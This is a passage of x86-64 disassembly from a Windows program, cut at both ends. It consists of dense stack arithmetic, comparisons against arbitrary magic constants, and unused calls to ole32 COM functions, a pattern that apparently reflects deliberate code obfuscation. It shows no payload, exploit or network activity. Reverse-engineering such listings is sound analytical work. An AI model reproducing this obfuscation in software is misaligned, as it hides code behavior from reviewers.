mov rdx, qword [rsp + 0x3448]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jle 0x14000a5aa
mov rax, qword [rsp + 0x33f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x34a8]
movsx ecx, word [rcx]
or eax, ecx
movsx ecx, word [rsp + 0x7a4]
mov dword [rsp + 0x1bdc], ecx
movsx edx, word [rsp + 0x7b8]
movzx ecx, dl
mov edx, dword [rsp + 0x1bdc]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14000a58c
movsx eax, byte [rsp + 0xcc]
mov rcx, qword [rsp + 0x34f8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1400f3008], al
mov rdx, qword [rsp + 0x34c8]
mov rax, qword [rsp + 0x34f8]
movzx ecx, byte [rax]
call fcn.1400d9280
nop
jmp 0x1400d7e16
mov rax, qword [rsp + 0x32b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3328]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc8], al
mov rax, qword [rsp + 0x3490]
mov qword [rsp + 0x3520], rax
movabs rax, 0xd85eb43614f7b992
cmp qword [rsp + 0x3520], rax
je 0x14000a627
movabs rax, 0xd929fb9d5021e250
cmp qword [rsp + 0x3520], rax
je 0x14000a606
jmp 0x14000a6fd
mov r8d, dword [rsp + 0x1b6c]
movzx edx, word [rsp + 0x7a4]
mov ecx, dword [section..data]
call fcn.1400d8af0
nop
jmp 0x14000a6fd
movsx eax, word [rsp + 0x7a4]
movsx ecx, word [rsp + 0x7b8]
sub eax, ecx
mov rcx, qword [rsp + 0x33d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3290]
mov qword [rsp + 0x3528], rax
movabs rax, 0x1885afc8e5fcd33
cmp qword [rsp + 0x3528], rax
je 0x14000a67e
movabs rax, 0xe39da6ba6c7a0b91
cmp qword [rsp + 0x3528], rax
je 0x14000a6dd
jmp 0x14000a6fd
lea rdx, [rsp + 0x146b0]
lea rcx, [rsp + 0x14690]
call qword [sym.imp.ole32.dll_CoTreatAsClass]
mov dword [rsp + 0x1adc], eax
movsx eax, word [rsp + 0x7b8]
mov rcx, qword [rsp + 0x33f0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x33c0]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x33d8]
movzx edx, word [rax]
mov ecx, dword [rsp + 0x1858]
call fcn.1400d8af0
nop
jmp 0x14000a6fd
mov rax, qword [rsp + 0x34b0]
mov rcx, qword [rsp + 0x3510]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x34d8]
mov dword [rcx], eax
lea rax, [rsp + 0x3318]
mov qword [rsp + 0x3530], rax
mov rax, qword [rsp + 0x32a8]
mov rcx, qword [rsp + 0x34c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3480]
mov qword [rcx], rax
mov rax, qword [rsp + 0x34d8]
mov rcx, qword [rsp + 0x34b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x1b6c]
mov edx, dword [rsp + 0x1a84]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x14000a874
movsx eax, word [rsp + 0x7b8]
mov rcx, qword [rsp + 0x33d8]
movsx ecx, word [rcx]
xor eax, ecx
movsx ecx, word [rsp + 0x778]
movsx edx, word [rsp + 0x7a4]
and ecx, edx
cmp eax, ecx
je 0x14000a81f
movsx eax, word [rsp + 0x7b8]
mov rcx, qword [rsp + 0x34a8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3400]
mov word [rcx], ax
movzx eax, byte [rsp + 0xcc]
mov byte [rsp + 0x1be0], al
cmp byte [rsp + 0x1be0], 0x32
je 0x14000a802
cmp byte [rsp + 0x1be0], 0x3b
je 0x14000a7d2
jmp 0x14000a81d
lea rcx, [rsp + 0x3330]
call qword [sym.imp.ole32.dll_CoGetCallerTID]
mov dword [rsp + 0x1b9c], eax
movzx eax, byte [rsp + 0xca]
movzx ecx, byte [rsp + 0xc9]
add eax, ecx
mov byte [rsp + 0xc8], al
jmp 0x14000a81d
movsx eax, byte [rsp + 0xcc]
movsx ecx, byte [0x1400f3f16]
and eax, ecx
mov rcx, qword [rsp + 0x34f8]
mov byte [rcx], al
jmp 0x14000a86f
movzx eax, word [rsp + 0x770]
mov rcx, qword [rsp + 0x3470]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
movzx edx, word [0x1400f3018]
sub ecx, edx
cmp eax, ecx
jle 0x14000a86f
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3470]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
jmp 0x1400d7d6b
mov rax, qword [rsp + 0x3320]
mov eax, dword [rax]
mov dword [rsp + 0x1be4], eax
cmp dword [rsp + 0x1be4], 0x3c5655f1
je 0x14000a8a8
cmp dword [rsp + 0x1be4], 0x524789cd
je 0x14000a92e
jmp 0x14000a989
mov rax, qword [rsp + 0x33c0]
mov ecx, dword [0x1400f3004]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x34b0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x1b6c]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x14000a8f6
mov r8d, dword [rsp + 0x1a84]
mov rax, qword [rsp + 0x34a8]
movzx edx, word [rax]
mov rax, qword [rsp + 0x32e0]
mov ecx, dword [rax]
call fcn.1400d8af0
nop
mov rax, qword [rsp + 0x3530]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3290]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3490], rax
lea rcx, [rsp + 0x3398]
call qword [sym.imp.ole32.dll_CoIsHandlerConnected]
mov dword [rsp + 0x1be8], eax
jmp 0x14000a989
mov rax, qword [rsp + 0x3470]
movzx r8d, word [rax]
movzx edx, word [rsp + 0x7b0]
mov rax, qword [rsp + 0x32b8]
movzx ecx, byte [rax]
call fcn.1400d9880
mov rax, qword [rsp + 0x33c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32d8]
mov qword [rsp + 0x3538], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3538]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3310]
mov qword [rcx], rax
mov rax, qword [rsp + 0x34d8]
mov eax, dword [rax]
mov dword [rsp + 0x1bec], eax
cmp dword [rsp + 0x1bec], 0
je 0x14000a9ba
cmp dword [rsp + 0x1bec], 0x93a0f1a9
je 0x1400d7c4d
jmp 0x1400d7cfe
mov rax, qword [rsp + 0x34f8]
movzx eax, byte [rax]
mov byte [rsp + 0xcf], al
mov rax, qword [rsp + 0x3320]
mov eax, dword [rax]
mov dword [rsp + 0x1bf0], eax
cmp dword [rsp + 0x1bf0], 0
je 0x14000a9f6
cmp dword [rsp + 0x1bf0], 0xe59824f
je 0x14000aa56
jmp 0x14000aa6f
movzx eax, byte [rsp + 0xca]
movzx ecx, byte [rsp + 0xbe]
add eax, ecx
mov rcx, qword [rsp + 0x3388]
mov byte [rcx], al
mov eax, dword [rsp + 0x1b6c]
mov dword [rsp + 0x1bf4], eax
mov rax, qword [rsp + 0x32d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3420]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3310]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3490]
mov qword [rsp + 0x3540], rax
jmp 0x14000aa6f
mov rdx, qword [rsp + 0x32a8]
mov rax, qword [rsp + 0x34f8]
movzx ecx, byte [rax]
call fcn.1400d9280
nop
mov rax, qword [rsp + 0x3320]
mov ecx, dword [rsp + 0x1a98]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1b0c], eax
cmp dword [rsp + 0x1ae8], 0xb2af
jae 0x14000af78
mov rax, qword [rsp + 0x34f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcc]
sub eax, ecx
mov byte [rsp + 0xcf], al
movsx eax, word [rsp + 0x778]
movsx ecx, word [0x1400f301c]
and eax, ecx
mov rcx, qword [rsp + 0x33f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
movsx eax, word [rsp + 0x7a4]
movsx ecx, word [rsp + 0x778]
add eax, ecx
mov rcx, qword [rsp + 0x33f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xcb]
mov rcx, qword [rsp + 0x3388]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3430]
mov byte [rcx], al
mov rax, qword [rsp + 0x33c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3480]
mov qword [rsp + 0x3548], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3548]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3420], rax
mov rax, qword [rsp + 0x3540]
movzx ecx, al
mov rax, qword [rsp + 0x3318]
shl rax, cl
mov rcx, qword [rsp + 0x3530]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3378]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a98]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3440]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b6c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32f8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x7a8]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x7ac], ax
mov rax, qword [rsp + 0x33f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x34a8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x33d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3470]
mov word [rcx], ax
movsx eax, byte [rsp + 0xcf]
movsx ecx, byte [0x1400f3008]
sub eax, ecx
mov byte [rsp + 0xcc], al
movzx eax, byte [rsp + 0xce]
mov rcx, qword [rsp + 0x3430]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3480]
mov rcx, qword [rsp + 0x32a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3448], rax
mov rax, qword [rsp + 0x32b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3540]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x32d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3440]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b0c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a98], eax
mov rax, qword [rsp + 0x32e0]
mov ecx, dword [rsp + 0x1bf4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
movsx eax, byte [0x1400f3f16]
movsx ecx, byte [rsp + 0xcf]
shl eax, cl
mov rcx, qword [rsp + 0x34f8]
mov byte [rcx], al
movzx eax, word [rsp + 0x7ac]
movzx ecx, word [rsp + 0x770]
sar eax, cl
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x34f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcc]
or eax, ecx
mov byte [rsp + 0xcf], al
movsx eax, word [rsp + 0x7a4]
movsx ecx, word [rsp + 0x7b8]
xor eax, ecx
mov word [rsp + 0x778], ax
mov rax, qword [rsp + 0x32a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc9]
add eax, ecx
mov rcx, qword [rsp + 0x3430]
mov byte [rcx], al
mov eax, dword [rsp + 0x1a98]
mov ecx, dword [rsp + 0x1b0c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1aa8], eax
mov rax, qword [rsp + 0x32f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b6c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x34b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32b0]
mov rcx, qword [rsp + 0x3540]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3418]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3300]
mov rcx, qword [rsp + 0x3370]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x34d0], rax
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
movzx ecx, word [0x1400f3018]
sub eax, ecx
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
mov rax, qword [rsp + 0x32b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcd]
sub eax, ecx
mov byte [rsp + 0xce], al
movsx eax, byte [rsp + 0xcc]
mov rcx, qword [rsp + 0x34f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1400f3008], al
mov rax, qword [rsp + 0x3400]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7b8]
sub eax, ecx
mov word [rsp + 0x778], ax
mov rax, qword [rsp + 0x34f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcf]
and eax, ecx
mov byte [rsp + 0xcc], al
mov rax, qword [rsp + 0x3448]
mov rcx, qword [rsp + 0x32d8]
mov qword [rsp + 0x3550], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3550]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3480]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32b0]
mov rcx, qword [rsp + 0x3418]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x3368]
mov qword [rcx], rax
mov rax, qword [rsp + 0x33c0]
mov ecx, dword [rsp + 0x1bf4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x32f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1ae8]
add eax, 0xef
mov dword [rsp + 0x1ae8], eax
mov eax, dword [rsp + 0x1a98]
movzx ecx, al
mov eax, dword [rsp + 0x1aa8]
shl eax, cl
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x33d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7a4]
sub eax, ecx
mov rcx, qword [rsp + 0x33f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3470]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x770], ax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
movzx ecx, word [0x1400f3018]
and eax, ecx
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
jmp 0x14000aa89
mov rax, qword [rsp + 0x34f8]
movzx eax, byte [rax]
mov byte [rsp + 0x1bf8], al
cmp byte [rsp + 0x1bf8], 0x48
je 0x14000af99
jmp 0x14000b155
mov rax, qword [rsp + 0x32d8]
mov rax, qword [rax]
mov qword [rsp + 0x3558], rax
cmp qword [rsp + 0x3558], 0
je 0x14000afd4
movabs rax, 0x4a05c5d2e1537927
cmp qword [rsp + 0x3558], rax
je 0x14000b137
jmp 0x14000b150
movzx eax, byte [rsp + 0xcc]
mov byte [rsp + 0xd0], al
mov rax, qword [rsp + 0x33d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x33f0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3400]
mov word [rcx], ax
lea rax, [rsp + 0x32a8]
mov qword [rsp + 0x3560], rax
mov dword [rsp + 0x1bfc], 0x4057
mov rax, qword [rsp + 0x32f8]
mov rcx, qword [rsp + 0x32e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [section..data]
mov edx, dword [rsp + 0x1b6c]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x14000b0ec
movsx eax, word [rsp + 0x778]
mov dword [rsp + 0x1c00], eax
cmp dword [rsp + 0x1c00], 0
je 0x14000b078
cmp dword [rsp + 0x1c00], 0x43d1
je 0x14000b0cd
jmp 0x14000b0ea
mov rax, qword [rsp + 0x3320]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b0c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3440]
mov dword [rcx], eax
lea rax, [rsp + 0x1bf4]
mov qword [rsp + 0x3568], rax
mov rax, qword [rsp + 0x3530]
mov rcx, qword [rsp + 0x3368]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x32d0]
mov qword [rcx], rax
jmp 0x14000b0ea
lea rdx, [rsp + 0x14690]
lea rcx, [rsp + 0x146a0]
call qword [sym.imp.ole32.dll_OleSetAutoConvert]
mov dword [rsp + 0x1b50], eax
jmp 0x14000b135
mov rax, qword [rsp + 0x32d0]
mov rcx, qword [rsp + 0x3318]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x32b0]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x3540]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14000b135
lea rcx, [rsp + 0x14750]
call qword [sym.imp.ole32.dll_CoIsOle1Class]
mov dword [rsp + 0x1b88], eax
jmp 0x14000b150
movsx eax, byte [rsp + 0xd0]
movsx ecx, byte [rsp + 0xcc]
add eax, ecx
mov byte [rsp + 0xcf], al
jmp 0x14000b31a
mov rax, qword [rsp + 0x34a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x33d8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x33f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x32a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3388]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3430]
movzx ecx, byte [rcx]
mov dword [rsp + 0x1c04], ecx
mov rdx, qword [rsp + 0x32b8]
movzx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x1c04]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14000b31a
mov rax, qword [rsp + 0x34f8]
movzx eax, byte [rax]
mov byte [rsp + 0x1c08], al
cmp byte [rsp + 0x1c08], 0x37
je 0x14000b1f2
cmp byte [rsp + 0x1c08], 0x79
je 0x14000b2fd
jmp 0x14000b31a
movzx eax, byte [rsp + 0xce]
mov rcx, qword [rsp + 0x32b8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3388]
mov byte [rcx], al
mov rax, qword [rsp + 0x3420]
mov qword [rsp + 0x3570], rax
movabs rax, 0x120f9b84381a6e6f
cmp qword [rsp + 0x3570], rax
je 0x14000b23a
jmp 0x14000b2df
movzx eax, word [rsp + 0x7b0]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x770], ax
movzx eax, byte [rsp + 0xcb]
mov rcx, qword [rsp + 0x3388]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3430]
mov byte [rcx], al
lea r9, [rsp + 0x7a8]
lea r8, [rsp + 0x14760]
lea rdx, [rsp + 0x3388]
lea rcx, [rsp + 0x1bf4]
call qword [sym.imp.ole32.dll_CoGetObject]
mov dword [rsp + 0x1bbc], eax
mov rax, qword [rsp + 0x3540]
mov rcx, qword [rsp + 0x3290]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3318], rax
mov rax, qword [rsp + 0x34f8]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x3330]
movzx ecx, word [rax]
call fcn.1400d9420
nop
jmp 0x14000b2fb
mov eax, dword [rsp + 0x1b0c]
mov ecx, dword [rsp + 0x1aa8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
jmp 0x14000b31a
lea rdx, [rsp + 0x14700]
lea rcx, [rsp + 0x3568]
call qword [sym.imp.ole32.dll_CoQueryAuthenticationServices]
mov dword [rsp + 0x1ba8], eax
cmp dword [rsp + 0x1b64], 0x4d27
jae 0x14000b943
mov eax, dword [rsp + 0x1b64]
add eax, 0xbd
mov dword [rsp + 0x1b64], eax
mov rax, qword [rsp + 0x3448]
mov rcx, qword [0x1400f3010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x34c8], rax
mov rax, qword [rsp + 0x32e0]
mov ecx, dword [rsp + 0x1858]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1b6c], eax
movzx eax, word [rsp + 0x7b0]
mov rcx, qword [rsp + 0x3470]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7ac], ax
movzx eax, byte [rsp + 0xce]
mov rcx, qword [rsp + 0x3430]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x34f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd0]
sub eax, ecx
mov rcx, qword [rsp + 0x34f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x34a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7b8]
shl eax, cl
mov rcx, qword [rsp + 0x34a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc9]
mov rcx, qword [rsp + 0x3388]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x32a0]
mov byte [rcx], al
movsx eax, byte [0x1400f3f16]
movsx ecx, byte [rsp + 0xd0]
xor eax, ecx
mov rcx, qword [rsp + 0x34f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x34b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x34d8]
mov qword [rsp + 0x3578], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3578]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1bf4], eax
mov rax, qword [rsp + 0x3318]
mov rcx, qword [rsp + 0x3290]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3540], rax
mov rax, qword [rsp + 0x3320]
mov rcx, qword [rsp + 0x3440]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3378]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3370]
mov rcx, qword [rsp + 0x3560]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x32a8], rax
mov rax, qword [rsp + 0x3400]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x33d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x33f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xca]
mov rcx, qword [rsp + 0x3328]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3430]
mov byte [rcx], al
movzx eax, word [0x1400f3018]
movzx ecx, word [rsp + 0x7ac]
and eax, ecx
mov word [rsp + 0x7b4], ax
mov rax, qword [rsp + 0x34f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcf]
sub eax, ecx
mov rcx, qword [rsp + 0x34f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
movzx ecx, word [0x1400f3018]
add eax, ecx
mov rcx, qword [rsp + 0x3470]
mov word [rcx], ax
mov rax, qword [rsp + 0x3368]
mov rcx, qword [rsp + 0x3490]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3368]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3310]
mov rcx, qword [rsp + 0x34c8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3560]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1b0c]
mov ecx, dword [rsp + 0x1aa8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a98], eax
mov rax, qword [rsp + 0x3568]
mov ecx, dword [rsp + 0x1858]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1b6c], eax
movsx eax, word [rsp + 0x778]
mov rcx, qword [rsp + 0x33f0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3400]
mov word [rcx], ax
movsx eax, word [rsp + 0x7b8]
mov rcx, qword [rsp + 0x34a8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x33f0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xcc]
movsx ecx, byte [0x1400f3f16]
and eax, ecx
mov rcx, qword [rsp + 0x34f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32b8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3430]
mov byte [rcx], al
mov rax, qword [rsp + 0x3430]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3328]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc8], al
mov rax, qword [rsp + 0x3560]
mov rcx, qword [rsp + 0x3480]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3300]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3440]
mov rcx, qword [rsp + 0x3320]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3378]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3318]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3368]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3568]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1858]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b6c], eax
mov rax, qword [rsp + 0x34f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcf]
add eax, ecx
mov rcx, qword [rsp + 0x34f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3388]
mov byte [rcx], al
mov rax, qword [rsp + 0x3470]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7ac], ax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x7b0], ax
movsx eax, word [rsp + 0x7b8]
mov rcx, qword [rsp + 0x34a8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x778], ax
mov rax, qword [rsp + 0x3490]
movzx ecx, al
mov rax, qword [rsp + 0x3540]
shr rax, cl
mov rcx, qword [rsp + 0x32b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x34b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x32f8]
mov qword [rsp + 0x3580], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3580]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x33c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x33c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3420], rax
mov rax, qword [rsp + 0x3440]
mov rcx, qword [rsp + 0x3320]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3440]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcc]
sub eax, ecx
mov rcx, qword [rsp + 0x34f8]
mov byte [rcx], al
movzx eax, byte [rsp + 0xcb]
movzx ecx, byte [rsp + 0xc8]
add eax, ecx
mov byte [str._tt_6_], al
movzx eax, word [rsp + 0x7ac]
movzx ecx, word [rsp + 0x7b4]
add eax, ecx
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
mov rax, qword [rsp + 0x33f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x778]
sub eax, ecx
mov word [rsp + 0x7a4], ax
movzx eax, byte [rsp + 0xcb]
mov rcx, qword [rsp + 0x3328]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x32a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3560]
mov rcx, qword [0x1400f3010]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x33c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3418]
mov rcx, qword [rsp + 0x3490]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3530]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3320]
mov ecx, dword [0x1400f3f10]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1aa8], eax
mov rax, qword [rsp + 0x3510]
mov rcx, qword [rsp + 0x3568]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1a84], eax
movzx eax, word [rsp + 0x770]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x7b0], ax
jmp 0x14000b31a
movsx eax, word [rsp + 0x778]
mov rcx, qword [rsp + 0x3400]
